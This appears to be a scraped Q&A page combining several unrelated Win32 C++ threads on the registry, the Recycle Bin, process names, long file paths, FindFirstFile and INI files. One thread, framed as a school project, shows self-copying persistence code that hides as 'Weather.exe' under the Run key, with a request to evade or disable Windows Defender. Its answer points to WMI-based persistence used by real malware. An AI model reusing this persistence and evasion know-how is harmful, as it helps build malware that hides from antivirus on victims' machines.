How to get Machine id using c++ - c++

am facing two problems one big problem and one small problem :)
problem # 1 : am unable to read Machine ID from below path ... i get my processor name like intel i7 #2.2ghz like that , i do not know why , i should get machine id , long integer string but i not get it , so please help
reg_path="SOFTWARE\\Microsoft\\Cryptography";
rvalue="MachineGuid"; // data value
my registery reading function
string read_reg_sz(char rpath[],char rdata[]) // read registery Loaction
{
REGSAM flag = KEY_WOW64_32KEY or KEY_WOW64_64KEY;
char buffer[MAX];
char Buffer[MAX];
DWORD BufSize = _MAX_PATH;
char dwMHz[MAX];
DWORD dataType = REG_SZ;
HKEY hKey;
long lError = RegOpenKeyEx(HKEY_LOCAL_MACHINE,rpath,NULL, KEY_READ | KEY_WRITE | flag,&hKey);
if(lError != ERROR_SUCCESS)
{// if the key is not found, tell the user why:
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
lError,
0,
Buffer,
_MAX_PATH,
0);
cout<<"\n reg erro : "<<Buffer;
return "N/A";
}
// query the key:
RegQueryValueEx(hKey,rdata,NULL,&dataType,(LPBYTE) &dwMHz,&BufSize);
RegCloseKey(hKey); // close open handle ....
cout<<"\n reg data read: "<<dwMHz;
return dwMHz;
}
second problem :
currently i have function which can totally clean recycle bin :)
SHEmptyRecycleBin(NULL, NULL, SHERB_NOCONFIRMATION | SHERB_NOPROGRESSUI | SHERB_NOSOUND);
but i want to delete single file from recycle bin like passing filename

You should really post it as two different questions, but I'll try to answer both.
1. Get MachineGuid
I think your issue is in this line:
// query the key:
RegQueryValueEx(hKey,rdata,NULL,&dataType,(LPBYTE) &dwMHz,&BufSize);
You should change it to:
// query the key:
RegQueryValueEx(hKey,rvalue,NULL,&dataType,(LPBYTE) &dwMHz,&BufSize);
By the way, dhMHz does not sound like right variable name - change it to reflect reality.
Also, you should have this:
DWORD BufSize = sizeof(Buffer) - 1;
And, it would be nice to NOT have both buffer and Buffer variables.
2. Delete one file from recycle bin
According to Microsoft documentation on SHFileOperation, you should just use DeleteFile on filename like C:\$Recycle.Bin\file.txt:
When used to delete a file, SHFileOperation permanently deletes the file unless you set the FOF_ALLOWUNDO flag in the fFlags member of the SHFILEOPSTRUCT structure pointed to by lpFileOp. Setting that flag sends the file to the Recycle Bin. If you want to simply delete a file and guarantee that it is not placed in the Recycle Bin, use DeleteFile.

To delete a single file from the Recycle Bin, use SHGetSpecialFolderLocation(CSIDL_BITBUCKET) or SHGetKnownFolderIDList(FOLDERID_RecycleBinFolder) to get the absolute PIDL of the Recycle Bin, then use SHBindToObject() to get the IShellFolder interface for it and call its ParseDisplayName() method to convert the desired filename into a relative PIDL, then use SHBindToObject() to get the IContextMenu interface for the file and call its InvokeCommand() method to execute the file's "delete" verb.

Related

Avoid Antivirus detection C++

For a school project, I'm developing a tiny malware that replicate itself and autorun with reg keys.
I want my program to set a reg key to autorun but when I do it Windows defender detect the RegSetValueExA function from windows.h. I also want my program to execute without administrator privilege.
My teacher told me that it's possible to avoid the detection. I have to detect when WD look at my program and tell it to stop/sleep while WD perform the scan. He also told me that it's possible to disable WD with powershell. But I don't really know how to it.
Here's the code that triggers Windows Defender:
void Victim::replicateNpersist()
{
char filename[ MAX_PATH ];
// Declaration of the directory that contain the malware
string Dir = "C:\\Users\\"+string(c_user)+"\\AppData\\Local\\WeatherChannel";
int LDir = Dir.length();
char dirPath[LDir+1];
strcpy(dirPath, Dir.c_str());
// Declaration of the object to copy
string Dest = "C:\\Users\\"+c_user+"\\AppData\\Local\\WeatherChannel\\Weather.exe";
int LDest = Dest.length();
char newLocation[LDest+1];
strcpy(newLocation,Dest.c_str());
// Creation of directory
CreateDirectoryA(dirPath, NULL);
BOOL stats=0;
DWORD size = GetModuleFileNameA(NULL, filename, MAX_PATH);
CopyFileA(filename, newLocation, stats);
// Persistence
HKEY hKey;
LPCSTR keyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
LONG lnRes = RegOpenKeyExA(HKEY_CURRENT_USER, keyPath,0,KEY_WRITE,&hKey);
if(lnRes == ERROR_SUCCESS) {
RegSetValueExA(hKey,"Weather.exe", 0, REG_SZ,(LPBYTE)newLocation,strlen(newLocation)+1);
}
}
Try to create your registry key in another manner. Like a lot of true malware, you can try to use StdRegProv class through WMI :
Getting value from an OUT parameter in WMI in C++
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

C++ Win32 - Getting App Name using PID and Executable Path

I'd like to get the name of an application on Windows.
Currently I'm using EnumProcesses() to enumerate all processes and receive a list of PIDs.
Then I'm looping through all PIDs, each iteration looks like this, when aProcess[i] is the current PID:
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, aProcesses[i]);
std::string processName = get_process_name(proc);
My get_process_name(proc) function uses GetModuleFileNameEx to get the executable path and GetProcessImageFileName in order to retrieve the name of the executable file.
What I want to retrieve is basically the App Name, as it is displayed in the Windows Task Manager.
I've looked throughout Win32 API's documentation and could not find a clue on how to achieve this.
I've tried looking for other ways such as Windows Shell tasklist but it outputs different things, for example- Google Chrome:
Image Name: chrome.exe PID: 84 Session Name: Console
I'd really appreciate any thought on the matter, whether it be the Win32 API or some other way I can implement through C++ code.
You can do this with GetFileVersionInfoA and VerQueryValueA.
You just need to follow the example given in the VerQueryValueA document.
Here is my sample:
struct LANGANDCODEPAGE {
WORD wLanguage;
WORD wCodePage;
} *lpTranslate;
int main()
{
HANDLE handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION , FALSE, 2140); //Modify pid to the pid of your application
if (!handle) return 0;
wchar_t pszFile[MAX_PATH] = L"";
DWORD len = MAX_PATH;
QueryFullProcessImageName(handle, 0, pszFile, &len);
UINT dwBytes, cbTranslate;
DWORD dwSize = GetFileVersionInfoSize(pszFile, (DWORD*)&dwBytes);
if (dwSize == 0) return 0;
LPVOID lpData = (LPVOID)malloc(dwSize);
ZeroMemory(lpData, dwSize);
if (GetFileVersionInfo(pszFile, 0, dwSize, lpData))
{
VerQueryValue(lpData,
L"\\VarFileInfo\\Translation",
(LPVOID*)&lpTranslate,
&cbTranslate);
wchar_t strSubBlock[MAX_PATH] = { 0 };
wchar_t* lpBuffer;
for (int i = 0; i < (cbTranslate / sizeof(struct LANGANDCODEPAGE)); i++)
{
StringCchPrintf(strSubBlock,50,
L"\\StringFileInfo\\%04x%04x\\FileDescription",
lpTranslate[i].wLanguage,
lpTranslate[i].wCodePage);
VerQueryValue(lpData,
strSubBlock,
(void**)&lpBuffer,
&dwBytes);
std::wcout << lpBuffer << std::endl;
}
}
if(lpData) free(lpData);
if (handle) CloseHandle(handle);
return 0;
}
And it works for me:
I think what you want are the "version" resources embedded in the PE file (the executables.)
You seem to be familiar with using Win32 API, so I'm just going to give you some hints.
You have to use LoadLibraryEx to load the EXE file (the Ex suffix is to enable passing the LOAD_LIBRARY_AS_DATAFILE flag,) and then call EnumResourceTypes (also see EnumResourceNames) to enumerate all the resource types/resources in the file, and find what you are looking for and then extract the data with LoadResource. The resource type you want is RT_VERSION.
I'm sure I'm omitting a lot of details (as per usual for Win32 programming,) and there might not be a need for enumeration at all; in which case you may want to call FindResource or FindResourceEx directly (if there is a fixed name for this particular resource.)
As further clarification, this gives you the date you see if you right-click on the EXE file (not the shortcut) in Windows Explorer and select "Properties", then go to the "Details" tab. If that information is indeed what you want (e.g. the "File description" field) then the above method should give you the data.

How can I create a file when file path name is over 255 characters using MFC in Windows?

I am working in Windows,using vc++2010 and MFC.
Following is my code:
CFile File;
TCHAR lpCause[1024];
CFileException eException;
CString strErrorMessage;
// a very long file path name means a file name over 255 characters
if (!File.Open(_T("a very long file path name"), CFile::modeCreate, &eException))
{
eException.GetErrorMessage(lpCause, 1024);
strErrorMessage = lpCause;
}
else
File.Close();
When I run the code, I got error message:"a very long file path name contains an incorrect path".
My questions are:
How to modify my code to make it work?
I learn that CreateFile() function can add "\\\\?\" in the beginning of file path, then it will extend this limit to 32767 wide characters.How can I do the same thing in MFC?
Cause
In the source of CFile::Open(), there is an explicit check if the path length exceeds _MAX_PATH:
if (lpszFileName != NULL && SUCCEEDED(StringCchLength(lpszFileName, _MAX_PATH, NULL)) )
If _MAX_PATH is exceeded, the function sets pException->m_cause = CFileException::badPath and returns FALSE.
This is true even for the MFC version that comes with VS2017.
So the standard technique to circumvent the _MAX_PATH limit, that is prefixing the path with \\?\ won't work.
Possible Solutions
Call CreateFileW() directly to pass it a path with \\?\ prefix. Use the CFile constructor that accepts a HANDLE to manage the file through a CFile object. The CFile object will take ownership of the handle so you must not call CloseHandle() on the handle.
HANDLE hFile = CreateFileW( L"\\\\?\\a very long file path name", GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, NULL );
if( hFile != INVALID_HANDLE_VALUE )
{
// Manage the handle using CFile
CFile file( hFile );
// Use the file...
// The CFile destructor closes the handle here.
}
else
{
DWORD err = GetLastError();
// TODO: do your error handling...
}
Another possibility is to derive a class from CFile that overrides CFile::Open() (which is virtual). For the implementation copy/paste the MFC source, but leave out the _MAX_PATH check. For a big project, this class could be a drop-in replacement for CFile to enable long paths. You could even go so far to prepend the \\?\ prefix if it isn't already there (but that is more involved as the prefix also disables the regular transformations from a Win32 path to a NT-style path, like converting / to \, resolving dots and so on).

FindFirstFile returns INVALID_HANDLE_VALUE when lpFileName is volume

There is a short example:
WIN32_FIND_DATA fd;
HANDLE h = FindFirstFile(L"C:", &fd);
if (h == INVALID_HANDLE_VALUE)
{
wprintf(L"Err = %d\n", GetLastError());
return 1;
}
do {
std::wstring fullPath(fd.cFileName);
wprintf(L"FullPath = %s\n", fullPath.c_str());
} while (FindNextFile(h, &fd));
FindClose(h);
I'm confused since
HANDLE h = FindFirstFile(L"C:", &fd); // OK
HANDLE h = FindFirstFile(L"E:", &fd); // INVALID_HANDLE_VALUE
HANDLE h = FindFirstFile(L"F:", &fd); // INVALID_HANDLE_VALUE
But E and F are real, existing volumes.
I do so because I need all information from the WIN32_FIND_DATA structure which will be passed to the kernel mode.
This question seems to be based on a misunderstanding. You say:
I do not want to examine the files and directories in "E:*", I want to get information about this volume.
and
I need all information from the WIN32_FIND_DATA structure.
Well, the find data information is meaningful for file and directory objects, but not for volume objects.
You'll need to use some other means to obtain volume information. Perhaps GetVolumeInformation, WMI, or maybe something else depending on your needs.
I think you have to put "E:\\*" not only the volume. Or you want to find the volume entry? Also, it is good to clean fd structure memset( &fd, 0, sizeof fd ).
On my machine (Win7 x64) FindFirstFile(L"C:", &fd) returns -1 (C: is system disc), GetLastError() is 2 (i.e. "file not found").
I've checked how FindFirstFile is working. It converts winapi like path to nt path at some stage using RtlDosPathNameToRelativeNtPathName_U and then checks whether PartName is empty or not.
If it's empty it returns mentioned error code.
if it's a mask, it continues and enumerates entries that match: that's why FindFirstFile(L"C:\\*.*", &fd) returns valid handle. Thus if you need to enumerate all files in C: using form C:\\*.*.
In case if you need a volume information use special function GetVolumeInformation.

c++ read config file parameters using GetPrivateProfileString

I have a win32 console application in C++, Visual Studio 2012. I cannot get the config parameter from the ini file. I tried different possibilities with file path,like placing the .ini file in source folder, write the full path to is, placing in the folder with generated .exe file. The output on the console after executing of the .exe file is 0 or (null) for string in every case. What I am doing wrong? How can I read the parameters?
v1:
LPCTSTR path = L".\\config.ini";
TCHAR protocolChar[32];
int port = GetPrivateProfileString(_T("PORT"), _T("SETTINGS"), _T(""), protocolChar, 32, path);
printf("***%d***\n", port);
v2:
int port = GetPrivateProfileInt(_T("PORT"), _T("SETTINGS"), 0, _T("config.ini"));
config.ini contains:
[SETTINGS]
USER_NUM_MAX = 256 ; Maximum number of users
PORT = 8080;
Oups, under Windows hitting a ini file in not that easy. In both tries (v1 and v2), you look for the file in current directory and then in Windows directory but not in the directory where the executable file is.
The easy way is to put all ini files under Windows directory. If you find cleaner to have the ini file along with the exe one, you have some more work to do :
find the executable file full path
replace the exe end with ini
use that full path to get access to your private ini file
To get the name of the executable file, simply use GetModuleFileName with a NULL HMODULE :
LPCTSTR getExecPath() {
DWORD len = 64;
for (;;) {
LPTSTR fileName = new TCHAR[len];
if (len == ::GetModuleFileName(NULL, fileName, len)) {
delete fileName;
len *= 2;
}
else {
return fileName;
}
}
}
or if you prefere to directly get the ini file name :
LPCTSTR getIniName() {
DWORD len = 4;
for (;;) {
LPTSTR fileName = new TCHAR[len];
if (len == ::GetModuleFileName(NULL, fileName, len)) {
delete fileName;
len *= 2;
}
else {
::lstrcpy(fileName + lstrlen(fileName) - 3, "ini");
return fileName;
}
}
}
and to not forget to delete the file name when done since it is allocated with new ...
Edit per comment :
For reference, the windows directory may depend on windows version. But it can always be retrieved by the API function GetWindowsDirectory. Extract from the reference page :
UINT WINAPI GetWindowsDirectory(
_Out_ LPTSTR lpBuffer,
_In_ UINT uSize
);
Parameters
lpBuffer [out] A pointer to a buffer that receives the path. This path does not end with a backslash unless the Windows directory is the root directory. For example, if the Windows directory is named Windows on drive C, the path of the Windows directory retrieved by this function is C:\Windows. If the system was installed in the root directory of drive C, the path retrieved is C:.
uSize [in] The maximum size of the buffer specified by the lpBuffer parameter, in TCHARs. This value should be set to MAX_PATH.
Return value
If the function succeeds, the return value is the length of the string copied to the buffer, in TCHARs, not including the terminating null character.
If the length is greater than the size of the buffer, the return value is the size of the buffer required to hold the path.
If the function fails, the return value is zero. To get extended error information, call GetLastError. *
I faced this problem when I updated from VS2010 to VS2012.
On VS 2010 I simply called the function with the file name of the .ini-file as argument for lpFileName (see MSDN Documentation).
This was not working for VS 2012 any more, so I changed to go for the complete path like this:
char directoryPath[MAX_PATH];
char readParameter[MAX_STR_LEN];
GetCurrentDirectory( directoryPath, MAX_PATH );
string directoryPathAsString(directoryPath);
directoryPathAsString = directoryPathAsString + "\\" + filename;
GetPrivateProfileString("section","parameter","0",readParameter,MAX_STR_LEN, directoryPathAsString.c_str());